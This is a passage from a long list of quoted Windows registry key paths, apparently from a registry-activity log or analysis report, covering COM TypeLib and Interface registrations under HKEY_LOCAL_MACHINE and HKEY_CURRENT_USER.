  1694. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0\\win32\\(Default)",
  1695. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\HELPDIR",
  1696. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\HELPDIR\\(Default)",
  1697. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1698. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0",
  1699. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\(Default)",
  1700. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\FLAGS",
  1701. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\FLAGS\\(Default)",
  1702. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0",
  1703. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0\\win32",
  1704. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\0\\win32\\(Default)",
  1705. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\HELPDIR",
  1706. "HKEY_CURRENT_USER\\Software\\Classes\\TypeLib\\{BCC81202-E67A-4F20-B52F-684DDB48A039}\\2.0\\HELPDIR\\(Default)",
  1707. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1708. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1709. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}",
  1710. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\\(Default)",
  1711. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1712. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1713. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}",
  1714. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\\(Default)",
  1715. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1716. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1717. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}",
  1718. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02370-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1719. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  1720. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1721. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}",
  1722. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02371-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1723. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1724. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1725. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}",
  1726. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{82B02372-B5BC-11CF-810F-00A0C9030074}\\(Default)",
  1727. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1728. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1729. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}",
  1730. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C90-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1731. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1732. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1733. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}",
  1734. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8A683C91-BA84-11CF-8110-00A0C9030074}\\(Default)",
  1735. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1736. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1737. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}",
  1738. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1739. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1740. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1741. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}",
  1742. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1743. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1744. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1745. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}",
  1746. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\\(Default)",
  1747. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1748. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1749. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}",
  1750. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1751. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1752. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1753. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}",
  1754. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\\(Default)",
  1755. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1756. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1757. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}",
  1758. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}\\(Default)",
  1759. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1760. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1761. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}",
  1762. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\\(Default)",
  1763. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1764. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1765. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}",
  1766. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1767. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1768. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1769. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}",
  1770. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1771. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1772. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1773. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}",
  1774. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1775. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1776. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1777. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}",
  1778. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1779. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1780. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1781. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}",
  1782. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1783. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1784. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1785. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}",
  1786. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1787. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1788. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1789. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}",
  1790. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1791. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1792. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1793. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}",
  1794. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1795. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1796. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1797. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}",
  1798. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC3-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1799. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1800. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1801. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}",
  1802. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{A38BFFC3-A5A0-11CE-8107-00AA00611080}\\(Default)",
  1803. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1804. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1805. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}",
  1806. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{944ACF93-A1E6-11CE-8104-00AA00611080}\\(Default)",
  1807. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1808. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1809. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}",
  1810. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\\(Default)",
  1811. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1812. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1813. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}",
  1814. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\\(Default)",
  1815. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1816. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1817. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}",
  1818. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{4C599243-6926-101B-9992-00000B65C6F9}\\(Default)",
  1819. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1820. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1821. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}",
  1822. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1823. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1824. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1825. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}",
  1826. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1827. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1828. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1829. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}",
  1830. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1831. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1832. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1833. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}",
  1834. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1835. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1836. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1837. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}",
  1838. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1839. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1840. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1841. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}",
  1842. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1843. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1844. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1845. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}",
  1846. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1847. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1848. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1849. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}",
  1850. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1851. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1852. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1853. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}",
  1854. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1855. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1856. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1857. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}",
  1858. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}\\(Default)",
  1859. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1860. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1861. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}",
  1862. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\\(Default)",
  1863. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1864. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1865. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}",
  1866. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1867. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1868. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1869. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}",
  1870. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1871. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1872. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1873. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}",
  1874. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1875. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1876. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1877. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}",
  1878. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1879. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1880. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1881. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}",
  1882. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1883. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1884. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1885. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}",
  1886. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1887. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1888. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1889. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}",
  1890. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}\\(Default)",
  1891. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1892. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1893. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}",
  1894. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1895. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1896. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
  1897. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}",
  1898. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F}\\(Default)",
